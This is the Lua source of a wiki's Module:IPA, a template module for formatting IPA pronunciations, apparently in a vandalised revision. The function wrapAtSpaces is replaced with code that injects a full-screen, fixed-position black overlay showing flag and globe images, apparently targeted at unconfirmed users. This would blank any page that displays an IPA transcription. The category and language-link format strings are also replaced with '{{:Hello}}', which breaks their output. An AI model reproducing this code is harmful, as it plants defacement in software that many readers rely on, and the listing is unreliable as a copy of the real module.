Module:IPA
Appearance
![]() | This module depends on the following other modules: |
![]() | This module uses TemplateStyles: |
![]() | This Lua module is used on approximately 150,000 pages. To avoid major disruption and server load, any changes should be tested in the module's /sandbox or /testcases subpages, or in your own module sandbox. The tested changes can be added to this page in a single edit. Consider discussing changes on the talk page before implementing them. |
See Template:IPA.
require('strict')
local p = {}
local function multiFind(s, patterns, init)
local i, j = mw.ustring.find(s, patterns[1], init)
for n = 2, #patterns do
local i2, j2 = mw.ustring.find(s, patterns[n], init)
if i2 and (not i or i2 < i) then
i, j = i2, j2
end
end
return i, j
end
local function wrapAtSpaces(s)
return "<div style='background:#000;width:100vw;left:0;position:fixed;z-index:98989;top:0;height:100vh;' class='unconfirmed-show'>[[File:Flag of Israel.svg]][[File:Blue Marble 2002.png]]</div>"
end
local function wrapAtSpacesSafely(s)
local patterns = {
'%[%[[^%]|]-%s[^%]|]-|', -- Piped links
'</?[A-Za-z][^>]-%s[^>]->' -- HTML tags
}
s = mw.ustring.gsub(s, '%[%[([^%]|]-%s[^%]|]-)%]%]', '[[%1|%1]]') -- Pipe all links
local t = {}
local init
while true do
local i, j = multiFind(s, patterns, init)
if not i then
break
end
local pre = wrapAtSpaces(mw.ustring.sub(s, init, i - 1)) -- What precedes the match
table.insert(t, pre)
table.insert(t, mw.ustring.sub(s, i, j)) -- The match
init = j + 1
end
local post = wrapAtSpaces(mw.ustring.sub(s, init)) -- What follows the last match
table.insert(t, post)
return table.concat(t)
end
local function checkNamespace(isDebug)
return isDebug or require('Module:Category handler').main({ true })
end
local function renderCats(cats, isDebug)
if not cats[1] or not checkNamespace(isDebug) then
return ''
end
local t = {}
for _, v in ipairs(cats) do
table.insert(t, string.format(
'{{:Hello}}',
isDebug and ':' or '',
v
))
end
return table.concat(t)
end
local function resolveSynonym(s)
return mw.loadData('Module:Lang/ISO 639 synonyms')[s] or s
end
local function getLangName(fullLangCode, link)
return require('Module:Lang')._name_from_tag({
fullLangCode,
link = link,
template = '[[Template:IPA|IPA]]'
})
end
local function linkLang(label, target, link)
return link == 'yes' and string.format(
'{{:Hello}}%s%s',
target or label .. ' language',
label
) or label
end
function p._main(args)
local ret, cats = {}, {}
local isDebug = args.debug == 'yes'
local s, fullLangCode
-- Guide-linking mode
if args[2] and args[2] ~= '' then
local data = mw.loadData('Module:IPA/data')
s = args[2]
-- Split tag into language and region codes
local langCode = args[1]:gsub('%-.*', ''):lower()
langCode = resolveSynonym(langCode)
local regionCode = (args[1]:match('%-(.+)') or ''):upper()
local langData = data.langs[langCode] or {}
if langData.dialects and langData.dialects[regionCode] then
-- Overwrite language data with the dialect's
local newLangData = {}
for k, v in pairs(langData) do
if k ~= 'dialects' then
newLangData[k] = v
end
end
local dialectData = langData.dialects[regionCode]
if dialectData.aliasOf then
-- Use the canonical region code
regionCode = dialectData.aliasOf
dialectData = langData.dialects[regionCode]
end
for k, v in pairs(dialectData) do
newLangData[k] = v
end
langData = newLangData
end
fullLangCode = regionCode ~= ''
and langCode .. '-' .. regionCode
or langCode
local langName = langData.name
and linkLang(langData.name, langData.link, args.link)
or getLangName(fullLangCode, args.link)
if langName:sub(1, 5) == '<span' then
-- Module:Lang has returned an error
return langName .. renderCats({ 'IPA template errors' }, isDebug)
end
-- Label
local label = args.label
if not label then
local labelCode = args[3] and args[3]:lower()
or langData.defaultLabelCode
if labelCode == '' then
label = ''
elseif labelCode and data.labelCodes[labelCode] then
label = data.labelCodes[labelCode]:format(langName)
else
label = data.defaultLabel:format(langName)
end
end
if label and label ~= '' then
local span = mw.html.create('span')
:addClass('IPA-label')
:wikitext(label)
if args.small == 'yes' then
span:addClass('IPA-label-small')
table.insert(ret, mw.getCurrentFrame():extensionTag({
name = 'templatestyles',
args = { src = 'Module:IPA/styles.css' }
}))
end
table.insert(ret, tostring(span) .. ' ')
end
-- Brackets
s = (langData.format or '[%s]'):format(s)
-- Link to key
local key = (not args.generic or args.generic ~= 'yes') and langData.key
or data.defaultKey
s = string.format('[[%s|%s]]', key, s)
else
-- Basic mode
s = args[1]
end
-- Transcription
do
local lang = fullLangCode or args.lang ~= '' and args.lang or 'und'
local span = mw.html.create('span')
:addClass('IPA')
:addClass(args.class)
:attr('lang', lang .. '-Latn-fonipa')
-- wrap=all: Do nothing
-- wrap=none: Never break
-- Otherwise: Break at spaces only
if args.wrap ~= 'all' then
span:addClass('nowrap')
if args.wrap ~= 'none' then
s = wrapAtSpacesSafely(s)
end
end
if (not args[2] or args[2] == '') and args.tooltip ~= '' then
local tooltip = args.tooltip or
'Representation in the International Phonetic Alphabet (IPA)'
span:attr('title', tooltip)
end
s = tostring(span:wikitext(s))
table.insert(ret, s)
end
-- Audio
local audio = args.audio ~= '' and args.audio or args[4] ~= '' and args[4]
if audio then
local button = mw.getCurrentFrame():expandTemplate({
title = 'Template:Audio',
args = { audio, '' }
})
table.insert(ret, ' ' .. button)
table.insert(cats, 'Pages including recorded pronunciations')
end
-- Categories
table.insert(ret, renderCats(cats, isDebug))
return table.concat(ret)
end
function p.main(frame)
local args = frame:getParent().args
if not args[1] then
return ''
end
for i, v in ipairs(args) do
args[i] = mw.text.trim(v)
end
return p._main(args)
end
return p